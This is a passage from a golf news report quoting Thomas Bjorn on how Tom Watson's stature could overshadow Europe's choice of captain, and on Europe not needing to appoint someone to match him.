Still, Bjorn acknowledged that Watson has the potential to overshadow anyone Europe chooses.
``If Tom Watson is in the room or he's in a press conference, he will clearly have the edge and that is different compared to someone who has competed in your own generation,'' Bjorn said. ``But then Tom Watson deserves that right and that respect for everyone to listen to what he says. But as far as needing to be seen appointing someone to match Tom Watson, that will not happen.''


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